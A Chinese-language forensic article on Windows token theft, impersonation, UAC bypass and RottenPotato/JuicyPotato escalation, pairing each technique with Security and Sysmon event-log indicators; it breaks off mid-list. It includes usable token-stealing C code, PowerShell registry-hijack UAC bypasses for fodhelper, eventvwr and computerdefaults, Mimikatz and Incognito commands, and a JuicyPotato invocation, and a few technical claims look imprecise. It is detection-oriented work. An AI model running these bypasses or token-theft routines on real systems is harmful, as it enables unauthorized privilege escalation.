令牌操纵与权限提升取证分析

令牌操纵与权限提升取证分析

Windows 令牌(Token)是操作系统进行安全上下文管理的核心机制。每一个进程、每一个线程在执行操作时,都依赖令牌来标识"我是谁、我能做什么"。攻击者在获取初始访问权限后,往往会通过操纵令牌来实现权限提升、横向移动和防御规避。令牌操纵技术隐蔽性强、取证难度大,是高级持续性威胁(APT)和红队行动中的常见手段。

已有文章 Windows认证机制与攻击链取证分析 覆盖了认证协议层面的攻击与取证,凭据抓取与认证材料取证分析 覆盖了凭据获取的方法。本文聚焦于Windows 令牌操纵攻击的完整技术体系,从令牌基础结构出发,深入分析令牌窃取、令牌模拟、UAC 绕过、RottenPotato/JuicyPotato 等权限提升技术的攻击原理与取证特征,并给出自动化狩猎脚本和证据强度分层方法。


0x01 Windows 令牌基础

1. 访问令牌(Access Token)的结构

Windows 访问令牌是内核对象(Kernel Object),由本地安全机构子系统服务(LSASS)在用户登录时创建。每个令牌包含以下关键信息:

访问令牌结构:
├── 安全标识符(SID) — 标识令牌所属的用户或组
├── 组 SID — 用户所属的安全组列表
├── 权限列表(Privileges) — 令牌持有的系统权限
├── 所有者 SID — 令牌对象的默认所有者
├── 主要组 SID — 主要组标识
├── 完整性级别 SID — 令牌的完整性级别(Low/Medium/High/System)
├── 令牌来源(Token Source) — 令牌的来源标识
├── 统计信息 — 令牌 ID、认证 ID、安全统计
└── 受限 SID — 受限令牌中的受限组列表

令牌的内部结构可以通过 Windows API NtQueryInformationToken 查询,返回 TOKEN_USERTOKEN_GROUPSTOKEN_PRIVILEGESTOKEN_OWNERTOKEN_PRIMARY_GROUPTOKEN_MANDATORY_LABEL 等信息。

在取证分析中,令牌的 SID 和权限列表是判断进程安全上下文的关键。如果一个普通用户进程持有了 SeDebugPrivilegeSeTcbPrivilege,这通常是令牌被操纵的强烈指标。

2. 令牌类型(主令牌 vs 模拟令牌)

Windows 支持两种令牌类型:

主令牌(Primary Token)

  • 进程创建时分配,代表进程的安全上下文
  • 由 LSASS 在用户登录时创建
  • 进程的每个线程默认继承主令牌
  • 主令牌决定了进程对系统资源的访问权限

模拟令牌(Impersonation Token)

  • 线程级别的安全上下文,用于临时模拟其他用户
  • 通过 ImpersonateLoggedOnUserSetThreadToken 分配
  • 模拟结束后线程恢复使用主令牌
  • 模拟令牌的有效期通常较短
HANDLE hToken;
HANDLE hDupToken;

OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken);
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken);
SetThreadToken(NULL, hDupToken);

上述代码展示了令牌模拟的基本流程:打开目标进程令牌 → 复制为模拟令牌 → 设置到当前线程。这是令牌操纵攻击的核心 API 调用链。

3. 令牌权限

令牌权限(Privileges)是系统级权限,控制进程执行特定系统操作的能力。以下是攻击者最常利用的令牌权限:

权限名称说明攻击利用
SeDebugPrivilege调试进程读取任意进程内存(包括 LSASS)
SeImpersonatePrivilege模拟客户端令牌RottenPotato/JuicyPotato 权限提升
SeAssignPrimaryTokenPrivilege分配主令牌创建 SYSTEM 令牌进程
SeTcbPrivilege作为 TCB 操作创建 Golden Ticket、操纵令牌
SeBackupPrivilege备份文件和目录读取受保护文件
SeRestorePrivilege还原文件和目录写入受保护位置
SeTakeOwnershipPrivilege获取文件所有权接管任意文件

SeDebugPrivilege 是最危险的权限之一。持有此权限的进程可以读取系统中任何进程的内存,包括 LSASS 进程,从而提取明文密码和 NTLM 哈希。Mimikatz 的 sekurlsa::logonpasswords 命令就依赖此权限。

SeImpersonatePrivilege 是 RottenPotato 系列攻击的关键。此权限允许进程模拟客户端的安全上下文,攻击者利用此特性将 SYSTEM 级别的令牌中继到恶意进程。

4. 令牌的创建和生命周期

令牌的创建发生在以下场景:

1. 用户交互式登录(Logon Type 2)
   → Winlogon → LSASS 创建主令牌 → 分配给 Explorer.exe

2. 网络登录(Logon Type 3)
   → LSASS 接收 NTLM/Kerberos 认证 → 创建主令牌 → 分配给服务进程

3. 服务启动(Logon Type 5)
   → SCM(服务控制管理器)→ LSASS 创建服务令牌 → 分配给服务进程

4. 计划任务(Logon Type 4)
   → Task Scheduler → LSASS 创建批处理令牌 → 分配给任务进程

5. runas /netonly(Logon Type 9)
   → LSASS 创建 NewCredentials 令牌 → 分配给指定进程

令牌的生命周期与创建它的登录会话绑定。当用户注销时,主令牌被销毁,但通过 DuplicateTokenEx 复制的令牌副本可能仍然有效,直到所有句柄被关闭。攻击者正是利用这一特性,在窃取令牌后即使原始会话结束,仍然可以继续使用窃取的令牌。

5. 令牌的完整性级别

Windows Vista 引入的用户账户控制(UAC)引入了完整性级别(Integrity Level)概念。令牌的完整性级别决定了进程对系统资源的访问能力:

完整性级别SID说明典型场景
LowS-1-16-4096低完整性IE 保护模式、沙箱进程
MediumS-1-16-8192中完整性普通用户进程(UAC 启用)
HighS-1-16-12288高完整性管理员提升后的进程
SystemS-1-16-16384系统完整性系统服务进程

UAC 的核心机制是:即使管理员用户登录,默认也只获得 Medium 完整性令牌。只有经过显式提升(UAC 确认对话框),才会获得 High 完整性令牌。攻击者的 UAC 绕过技术本质上就是绕过这一机制,直接获取 High 或 System 完整性令牌。

完整性级别通过令牌的 TOKEN_MANDATORY_LABEL 结构存储,可以通过 GetTokenInformation 查询:

$tokenInfo = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$claims = $tokenInfo.Claims
$claims | Where-Object { $_.Type -eq "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid" }

0x02 令牌窃取(T1134.001)

1. 攻击原理:从其他进程窃取令牌

令牌窃取(Token Stealing)是指攻击者从系统中已运行的进程窃取访问令牌,然后使用窃取的令牌以目标用户的身份执行操作。这种攻击的前提是攻击者已经拥有足够的权限(通常是管理员或 SYSTEM)来打开目标进程的令牌句柄。

攻击流程:

1. 枚举系统中的进程和令牌
   → 使用 NtQuerySystemInformation 或 CreateToolhelp32Snapshot
   → 识别目标用户的进程(如域管理员的 Explorer.exe)

2. 打开目标进程的令牌句柄
   → OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId)
   → OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)

3. 复制令牌
   → DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
                       SecurityImpersonation, TokenImpersonation, &hDupToken)

4. 使用窃取的令牌
   → 方式 A: ImpersonateLoggedOnUser(hDupToken) — 模拟
   → 方式 B: CreateProcessWithToken(hDupToken, ...) — 创建新进程
   → 方式 C: SetThreadToken(NULL, hDupToken) — 设置线程令牌

2. OpenProcessToken + DuplicateTokenEx

以下是令牌窃取的 C 语言核心实现:

#include <windows.h>
#include <tlhelp32.h>

BOOL StealToken(DWORD dwPid) {
    HANDLE hProcess, hToken, hNewToken;
    PROCESS_INFORMATION pi;
    STARTUPINFO si = {0};

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwPid);
    if (!hProcess) return FALSE;

    OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken);

    DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken);

    si.cb = sizeof(STARTUPINFO);
    CreateProcessWithTokenW(hNewToken, LOGON_WITH_PROFILE, L"cmd.exe", NULL, 0, NULL, NULL, &si, &pi);

    CloseHandle(hNewToken);
    CloseHandle(hToken);
    CloseHandle(hProcess);
    return TRUE;
}

关键认知:DuplicateTokenEx 创建的令牌副本是独立的,即使原始进程终止,副本仍然有效。这意味着攻击者窃取令牌后,即使目标用户注销,攻击者仍然可以使用窃取的令牌。

3. 使用 Incognito 工具窃取令牌

Incognito 是 Metasploit 框架中的后渗透模块,专门用于令牌操纵:

meterpreter > use incognito
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\SYSTEM
DOMAIN\admin
DOMAIN\svc_backup

Impersonation Tokens Available
========================================
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\LOCAL SERVICE

meterpreter > impersonate_token "DOMAIN\admin"
[+] Delegation token available
[+] Successfully impersonated user DOMAIN\admin

meterpreter > getuid
Server username: DOMAIN\admin

Incognito 的工作原理:

  • list_tokens 枚举系统中所有可用的令牌(包括委派令牌和模拟令牌)
  • impersonate_token 窃取指定令牌并设置到当前线程
  • make_token 使用 LogonUser 创建新的委派令牌

Incognito 的 make_token 功能值得特别注意:它使用 LogonUser API 配合一个伪造的密码来创建令牌,即使密码不正确也会成功。这是因为 LogonType 9(NewCredentials)只创建一个新的凭据集合,不验证密码。

4. 使用 Mimikatz 窃取令牌

Mimikatz 提供了多个令牌操纵命令:

mimikatz # token::whoami
当前令牌的详细信息

mimikatz # token::list
列出系统中所有可用的令牌

mimikatz # token::elevate
提升当前进程的令牌到 SYSTEM

mimikatz # token::revert
恢复原始令牌

mimikatz # token::run /process:lsass.exe /user:"cmd.exe"
以 lsass.exe 的令牌运行 cmd.exe

token::elevate 是 Mimikatz 中最常用的令牌操纵命令。它的工作原理是:

  1. 枚举系统中的进程,找到 SYSTEM 令牌的进程(如 winlogon.exe、services.exe)
  2. 打开目标进程的令牌句柄
  3. 使用 DuplicateTokenEx 复制 SYSTEM 令牌
  4. 使用 SetThreadTokenImpersonateLoggedOnUser 将窃取的令牌设置到当前线程

5. 取证特征:Event ID 4624(Logon Type 9)、Event ID 4688

令牌窃取在事件日志中留下以下取证特征:

Event ID 4624 — Logon Type 9(NewCredentials)

<Event>
  <System>
    <EventID>4624</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="TargetUserName">admin</Data>
    <Data Name="TargetDomainName">DOMAIN</Data>
    <Data Name="LogonType">9</Data>
    <Data Name="LogonProcessName">seclogo</Data>
    <Data Name="AuthenticationPackageName">Negotiate</Data>
    <Data Name="ProcessId">0x1a4</Data>
    <Data Name="ProcessName">C:\Windows\System32\lsass.exe</Data>
  </EventData>
</Event>

Logon Type 9 表示使用 NewCredentials 创建令牌。当攻击者使用 runas /netonly 或 Incognito 的 make_token 时,会产生此事件。

Event ID 4688 — 进程创建

<Event>
  <System>
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\explorer.exe</Data>
    <Data Name="TokenElevationType">TokenElevationTypeLimited (2)</Data>
    <Data Name="SubjectUserName">admin</Data>
    <Data Name="SubjectLogonId">0x3e7</Data>
  </EventData>
</Event>

当攻击者使用窃取的令牌创建新进程时,4688 事件中的 SubjectLogonId 可能与 ParentProcessName 对应的登录会话不一致。这种不一致是令牌窃取的关键指标。

关键取证指标:

  • 4624 事件出现 Logon Type 9,且 ProcessName 为 lsass.exe
  • 4688 事件中 SubjectLogonId 与父进程的登录会话不匹配
  • 进程树中出现异常的令牌上下文切换
  • 同一进程在短时间内使用多个不同用户的令牌

0x03 令牌模拟(T1134.001)

1. 攻击原理:模拟其他用户的安全上下文

令牌模拟(Token Impersonation)是 Windows 的合法功能,允许线程临时以其他用户的身份执行操作。攻击者利用此功能模拟高权限用户(如域管理员或 SYSTEM)的安全上下文。

模拟与窃取的区别:

  • 令牌窃取:复制令牌后创建新进程或替换当前线程令牌
  • 令牌模拟:在当前线程中临时切换安全上下文,模拟结束后恢复

模拟的 API 调用链:

1. 获取目标用户的令牌句柄
   → OpenProcessToken 或 DuplicateToken

2. 模拟目标用户
   → ImpersonateLoggedOnUser(hToken)
   或
   → SetThreadToken(&hThread, hToken)

3. 以目标用户身份执行操作
   → 文件访问、网络认证、注册表修改等

4. 恢复原始上下文
   → RevertToSelf()

2. ImpersonateLoggedOnUser

ImpersonateLoggedOnUser 是令牌模拟的核心 API。它接受一个令牌句柄,将当前线程的安全上下文切换为该令牌代表的用户:

#include <windows.h>

BOOL ImpersonateUser(HANDLE hToken) {
    if (!ImpersonateLoggedOnUser(hToken)) {
        return FALSE;
    }

    HANDLE hFile = CreateFile(L"\\\\DC\\C$\\Windows\\System32\\config\\SAM",
                              GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

    RevertToSelf();
    return (hFile != INVALID_HANDLE_VALUE);
}

关键认知:ImpersonateLoggedOnUser 要求输入的令牌是模拟令牌(Impersonation Token),而不是主令牌(Primary Token)。如果输入的是主令牌,需要先使用 DuplicateToken 将其转换为模拟令牌。

3. CreateProcessWithToken

CreateProcessWithToken 使用指定的令牌创建新进程。与 ImpersonateLoggedOnUser 不同,它不需要模拟,而是直接以目标令牌的身份启动进程:

#include <windows.h>

BOOL SpawnWithToken(HANDLE hToken) {
    HANDLE hDupToken;
    PROCESS_INFORMATION pi;
    STARTUPINFO si = {0};

    DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
                     SecurityImpersonation, TokenPrimary, &hDupToken);

    si.cb = sizeof(STARTUPINFO);
    CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE,
                            L"C:\\Windows\\System32\\cmd.exe",
                            NULL, 0, NULL, NULL, &si, &pi);

    CloseHandle(hDupToken);
    return TRUE;
}

CreateProcessWithToken 需要 SeImpersonatePrivilege 权限。此权限通常分配给本地系统账户和服务账户。

4. 使用 PsExec 的令牌模拟

PsExec 是 Sysinternals 工具集中的远程执行工具,其工作原理涉及令牌模拟:

PsExec 工作流程:
1. 在本地创建服务(PSEXESVC)
2. 通过 SMB 将 PSEXESVC.exe 上传到目标系统
3. 在远程系统上启动 PSEXESVC 服务
4. PSEXESVC 以 SYSTEM 令牌运行
5. 通过命名管道建立交互式会话

当攻击者使用 PsExec 进行横向移动时:

psexec \\target-server -u DOMAIN\admin -p password cmd.exe

PsExec 在目标系统上的行为:

  • 通过 SMB(端口 445)传输文件
  • 通过 SCM(服务控制管理器)创建服务
  • 服务以 SYSTEM 令牌运行
  • 通过命名管道转发输入输出

5. 取证特征:Event ID 4624(Logon Type 2/10)

令牌模拟产生的事件日志特征:

Event ID 4624 — Logon Type 2(Interactive)

<Event>
  <System>
    <EventID>4624</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="TargetUserName">admin</Data>
    <Data Name="TargetDomainName">DOMAIN</Data>
    <Data Name="LogonType">2</Data>
    <Data Name="LogonProcessName">User32</Data>
    <Data Name="AuthenticationPackageName">Negotiate</Data>
    <Data Name="ProcessName">C:\Windows\System32\winlogon.exe</Data>
  </EventData>
</Event>

Event ID 4624 — Logon Type 10(RemoteInteractive)

<Event>
  <System>
    <EventID>4624</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="TargetUserName">admin</Data>
    <Data Name="TargetDomainName">DOMAIN</Data>
    <Data Name="LogonType">10</Data>
    <Data Name="LogonProcessName">User32</Data>
    <Data Name="AuthenticationPackageName">Negotiate</Data>
    <Data Name="ProcessName">C:\Windows\System32\winlogon.exe</Data>
    <Data Name="IpAddress">10.0.1.50</Data>
  </EventData>
</Event>

关键取证指标:

  • 4624 事件出现 Logon Type 2 或 10,但用户实际上没有进行交互式登录
  • 同一用户在同一系统上出现多个并发的交互式登录会话
  • 4688 事件中的进程由 winlogon.exe 或 services.exe 作为父进程创建
  • PsExec 特征:4688 事件中出现 PSEXESVC.exe 作为父进程

0x04 创建进程与令牌(T1134.002)

1. CreateProcessWithLogon

CreateProcessWithLogon 使用指定的用户名和密码创建新进程。此 API 不需要令牌,而是直接通过凭据进行认证:

#include <windows.h>

BOOL CreateWithLogon() {
    PROCESS_INFORMATION pi;
    STARTUPINFO si = {0};

    si.cb = sizeof(STARTUPINFO);

    CreateProcessWithLogonW(
        L"admin", L"DOMAIN", L"password",
        LOGON_WITH_PROFILE,
        L"C:\\Windows\\System32\\cmd.exe",
        NULL, 0, NULL, NULL, &si, &pi);

    return TRUE;
}

CreateProcessWithLogon 的内部流程:

  1. 调用 LogonUser 验证凭据
  2. 获取登录令牌
  3. 使用令牌创建新进程

此 API 需要 SeAssignPrimaryTokenPrivilege(如果以 LocalSystem 身份运行)或 SeImpersonatePrivilege

2. CreateProcessWithToken

CreateProcessWithToken 使用已有的令牌创建新进程:

#include <windows.h>

BOOL CreateWithToken(HANDLE hToken) {
    HANDLE hNewToken;
    PROCESS_INFORMATION pi;
    STARTUPINFO si = {0};

    DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
                     SecurityInteractive, TokenPrimary, &hNewToken);

    si.cb = sizeof(STARTUPINFO);
    CreateProcessWithTokenW(hNewToken, LOGON_WITH_PROFILE,
                            L"C:\\Windows\\System32\\cmd.exe",
                            NULL, 0, NULL, NULL, &si, &pi);

    return TRUE;
}

CreateProcessWithTokenCreateProcessWithLogon 的区别:

  • CreateProcessWithLogon 需要明文凭据
  • CreateProcessWithToken 需要令牌句柄
  • 两者都需要特殊权限

3. LogonUser + CreateProcessAsUser

LogonUser + CreateProcessAsUser 是另一种创建进程的方式:

#include <windows.h>

BOOL CreateAsUser() {
    HANDLE hToken;
    HANDLE hNewToken;
    PROCESS_INFORMATION pi;
    STARTUPINFO si = {0};

    LogonUser(L"admin", L"DOMAIN", L"password",
              LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken);

    DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
                     SecurityInteractive, TokenPrimary, &hNewToken);

    CreateProcessAsUser(hNewToken, L"C:\\Windows\\System32\\cmd.exe",
                        NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    return TRUE;
}

CreateProcessAsUser 需要 SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilege。这些权限通常只分配给本地系统账户。

4. 取证特征:Event ID 4688(进程创建)

使用令牌创建进程在事件日志中的特征:

Event ID 4688 — 进程创建

<Event>
  <System>
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">SYSTEM</Data>
    <Data Name="SubjectDomainName">NT AUTHORITY</Data>
    <Data Name="SubjectLogonId">0x3e7</Data>
    <Data Name="NewProcessId">0x1234</Data>
    <Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">cmd.exe</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\services.exe</Data>
    <Data Name="TokenElevationType">TokenElevationTypeFull (1)</Data>
  </EventData>
</Event>

Event ID 4624 — 伴随的登录事件

<Event>
  <System>
    <EventID>4624</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="TargetUserName">admin</Data>
    <Data Name="LogonType">2</Data>
    <Data Name="LogonProcessName">User32</Data>
    <Data Name="ProcessId">0x5678</Data>
    <Data Name="ProcessName">C:\Windows\System32\svchost.exe</Data>
  </EventData>
</Event>

关键取证指标:

  • 4688 事件中 SubjectUserName 为 SYSTEM,但 CommandLine 包含用户级命令
  • 4688 事件的 TokenElevationType 为 Full(1),表示完全令牌
  • 4624 事件的 ProcessName 不是 winlogon.exe 或 logonui.exe(异常登录源)
  • 短时间内多个 4688 事件使用不同的 SubjectLogonId

0x05 UAC 绕过技术

1. UAC 的工作原理

用户账户控制(UAC)是 Windows Vista 引入的安全机制,目的是限制应用程序的系统级操作。UAC 的核心工作原理:

UAC 令牌分割(Token Splitting):
1. 管理员登录时,LSASS 创建两个令牌:
   → 完整令牌(Full Token):High 完整性,包含所有管理员权限
   → 过滤令牌(Filtered Token):Medium 完整性,移除特权

2. 默认情况下,进程使用过滤令牌运行
3. 需要提升时,用户确认 UAC 对话框
4. 确认后,进程获得完整令牌

UAC 的 AutoElevate 机制:
1. 系统目录中的特定二进制文件被标记为 AutoElevate
2. 这些文件包含 <requestedExecutionLevel level="requireAdministrator"/> 清单
3. 当这些文件从系统目录运行时,不弹出 UAC 提示
4. 攻击者利用此机制绕过 UAC

2. AutoElevate 二进制文件

Windows 系统目录中存在多个被标记为 AutoElevate 的二进制文件。这些文件在从 C:\Windows\System32\ 运行时自动获得 High 完整性令牌:

常见的 AutoElevate 二进制文件:
- fodhelper.exe(可选功能管理器)
- computerdefaults.exe(默认应用设置)
- eventvwr.exe(事件查看器)
- msconfig.exe(系统配置)
- taskschd.msc(任务计划程序)
- diskmgmt.msc(磁盘管理)
- compmgmt.msc(计算机管理)

攻击者利用 AutoElevate 二进制文件的 UAC 绕过原理:

  1. AutoElevate 二进制文件以 High 完整性运行
  2. 这些文件在运行时会加载 DLL 或执行其他程序
  3. 如果攻击者能控制 DLL 加载路径或子进程,就能以 High 完整性执行任意代码

3. DLL 劫持 UAC 绕过

DLL 劫持是 UAC 绕过中最常见的技术。攻击流程:

1. 识别 AutoElevate 二进制文件的 DLL 搜索路径
   → 使用 Process Monitor 监控 DLL 加载行为
   → 查找 DLL 搜索路径中的可写目录

2. 在可写路径中放置恶意 DLL
   → 通常在 %LOCALAPPDATA% 或 %TEMP% 目录

3. 运行 AutoElevate 二进制文件
   → 二进制文件以 High 完整性运行
   → 加载恶意 DLL
   → 恶意代码以 High 完整性执行

eventvwr.exe 为例:

New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(Default)" -Value "cmd.exe"
Start-Process "C:\Windows\System32\eventvwr.exe"

上述代码利用注册表劫持绕过 UAC:

  1. eventvwr.exe 启动时读取 HKCU\Software\Classes\mscfile\shell\open\command
  2. 攻击者将此注册表键值修改为 cmd.exe
  3. eventvwr.exe 以 High 完整性运行 cmd.exe
  4. 攻击者获得 High 完整性命令提示符

4. COM 接口 UAC 绕过(fodhelper.exe、computerdefaults.exe)

COM(组件对象模型)接口 UAC 绕过利用 Windows 自动提升的 COM 对象:

fodhelper.exe UAC 绕过:

New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd.exe"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
Start-Process "C:\Windows\System32\fodhelper.exe"

computerdefaults.exe UAC 绕过:

New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "powershell.exe -WindowStyle Hidden -Command Start-Process cmd -Verb RunAs"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
Start-Process "C:\Windows\System32\computerdefaults.exe"

COM 接口 UAC 绕过的原理:

  1. fodhelper.execomputerdefaults.exe 是 AutoElevate 二进制文件
  2. 它们通过 COM 接口(ms-settings 协议处理器)启动设置页面
  3. COM 协议处理器从 HKCU 注册表读取命令
  4. HKCU 是用户可写的注册表配置单元
  5. 攻击者修改 HKCU 中的协议处理器,指向恶意命令

5. 令牌操纵 UAC 绕过

某些 UAC 绕过技术直接操纵令牌:

$definition = @"
using System;
using System.Runtime.InteropServices;

public class TokenManipulation {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint DesiredAccess,
        IntPtr TokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr DuplicateTokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool SetTokenInformation(IntPtr TokenHandle, int TokenInformationClass,
        ref IntPtr TokenInformation, uint TokenInformationLength);
}
"@

Add-Type -TypeDefinition $definition

令牌操纵 UAC 绕过的原理:

  1. 获取当前进程的 Medium 完整性令牌
  2. 修改令牌的完整性级别为 High
  3. 使用修改后的令牌创建新进程

6. 取证特征:Event ID 4688、注册表修改

UAC 绕过的事件日志特征:

Event ID 4688 — AutoElevate 进程创建

<Event>
  <System>
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">user</Data>
    <Data Name="NewProcessName">C:\Windows\System32\fodhelper.exe</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\explorer.exe</Data>
    <Data Name="TokenElevationType">TokenElevationTypeFull (1)</Data>
    <Data Name="CommandLine">"C:\Windows\system32\fodhelper.exe"</Data>
  </EventData>
</Event>

Event ID 4657 — 注册表值修改

<Event>
  <System>
    <EventID>4657</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="ObjectName">\REGISTRY\USER\S-1-5-21-xxx\Software\Classes\ms-settings\shell\open\command</Data>
    <Data Name="OldValue">(Empty)</Data>
    <Data Name="NewValue">cmd.exe</Data>
    <Data Name="ProcessName">C:\Windows\System32\reg.exe</Data>
  </EventData>
</Event>

关键取证指标:

  • 4688 事件中出现 AutoElevate 二进制文件(fodhelper.exe、eventvwr.exe 等),且 TokenElevationType 为 Full
  • 4657 事件中出现 ms-settingsmscfile 等注册表键的修改
  • AutoElevate 二进制文件创建了异常的子进程(如 cmd.exe、powershell.exe)
  • 注册表修改和 AutoElevate 进程启动的时间间隔极短(通常 < 5 秒)

0x06 RottenPotato 与 JuicyPotato

1. RottenPotato 原理(RPC + NTLM 中继)

RottenPotato 是 2016 年由 Breenmachine 发现的 Windows 权限提升技术,利用 Windows 的 RPC(远程过程调用)和 NTLM 认证中继机制:

RottenPotato 攻击流程:
1. 攻击者拥有 SeImpersonatePrivilege 权限
   → 通常通过 Web 应用漏洞获取 IIS 应用池账户

2. 创建本地 RPC 服务器
   → 监听在 127.0.0.1:6666
   → 模拟 SYSTEM 用户的 RPC 端点

3. 触发 NTLM 认证
   → 通过 DCOM 的 IStorage 接口触发
   → SYSTEM 向本地 RPC 服务器发起 NTLM 认证

4. 中继 NTLM 认证
   → 将 SYSTEM 的 NTLM 认证中继到本地安全包
   → 获取 SYSTEM 的模拟令牌

5. 使用 SYSTEM 令牌
   → ImpersonateLoggedOnUser 或 CreateProcessWithToken
   → 以 SYSTEM 身份执行任意命令

RottenPotato 的核心是利用了 Windows 的 SeImpersonatePrivilege 权限。当服务账户拥有此权限时,它可以模拟任何连接到它的客户端的安全上下文。攻击者通过触发 SYSTEM 连接到恶意 RPC 服务器,从而获取 SYSTEM 的模拟令牌。

2. JuicyPotato 原理(COM + SeImpersonatePrivilege)

JuicyPotato 是 RottenPotato 的改进版本,由decoder 在 2018 年发布。它解决了 RottenPotato 在 Windows 10 和 Windows Server 2016 上的兼容性问题:

JuicyPotato 攻击流程:
1. 攻击者拥有 SeImpersonatePrivilege 权限

2. 选择 COM 对象
   → 使用已注册的 COM 服务器(如 BITS、DcomLaunch)
   → 通过 CLSID 指定目标 COM 对象

3. 创建 RPC 服务器
   → 监听在随机端口
   → 配置为接受 NTLM 认证

4. 触发 COM 激活
   → 调用 CoGetInstanceFromIStorage
   → 指定恶意 RPC 服务器地址

5. SYSTEM 连接到 RPC 服务器
   → COM 服务以 SYSTEM 身份运行
   → 向 RPC 服务器发起 NTLM 认证

6. 中继并获取 SYSTEM 令牌
   → 将 NTLM 认证中继到本地安全包
   → 获取 SYSTEM 模拟令牌
   → 创建 SYSTEM 进程

使用示例:
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

JuicyPotato 的关键参数:

  • -l:COM 服务器监听端口
  • -p:要执行的程序
  • -t:创建进程的方式(* 表示自动选择)
  • -c:COM 对象的 CLSID

3. SweetPotato 变体

SweetPotato 是 RottenPotato 系列的最新版本,由 tint0 开发。它整合了多种 Potato 变体,支持更多的攻击向量:

SweetPotato 支持的变体:
1. RottenPotato — 原始 RPC + NTLM 中继
2. JuicyPotato — COM + NTLM 中继
3. PrintSpoofer — 命名管道 + Print Spooler
4. EfsPotato — EFS RPC + SeImpersonatePrivilege
5. RogueWinRM — WinRM 服务 + NTLM 中继

SweetPotato 的优势:

  • 自动检测可用的攻击向量
  • 支持更多 Windows 版本
  • 更好的错误处理和兼容性
  • 单一二进制文件包含多种攻击方式

4. 取证特征:Event ID 4688、RPC 连接、COM 激活

RottenPotato/JuicyPotato 在事件日志中的特征:

Event ID 4688 — 进程创建

<Event>
  <System>
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">IIS APPPOOL\DefaultAppPool</Data>
    <Data Name="SubjectLogonId">0x3e4</Data>
    <Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">cmd.exe</Data>
    <Data Name="ParentProcessName">C:\inetpub\wwwroot\JuicyPotato.exe</Data>
    <Data Name="TokenElevationType">TokenElevationTypeFull (1)</Data>
  </EventData>
</Event>

Event ID 4624 — SYSTEM 登录

<Event>
  <System>
    <EventID>4624</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="TargetUserName">SYSTEM</Data>
    <Data Name="TargetDomainName">NT AUTHORITY</Data>
    <Data Name="LogonType">3</Data>
    <Data Name="LogonProcessName">NtLmSsp</Data>
    <Data Name="AuthenticationPackageName">NTLM</Data>
    <Data Name="WorkstationName">WEBSERVER</Data>
    <Data Name="IpAddress">127.0.0.1</Data>
  </EventData>
</Event>

Sysmon Event ID 17/18 — 命名管道创建/连接

<Event>
  <System>
    <EventID>17</EventID>
    <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  </System>
  <EventData>
    <Data Name="ProcessId">1234</Data>
    <Data Name="Image">C:\inetpub\wwwroot\JuicyPotato.exe</Data>
    <Data Name="PipeName">\ntsvcs</Data>
  </EventData>
</Event>

关键取证指标:

  • 4688 事件中,低权限服务账户(如 IIS APPPOOL)创建了以 SYSTEM 令牌运行的进程
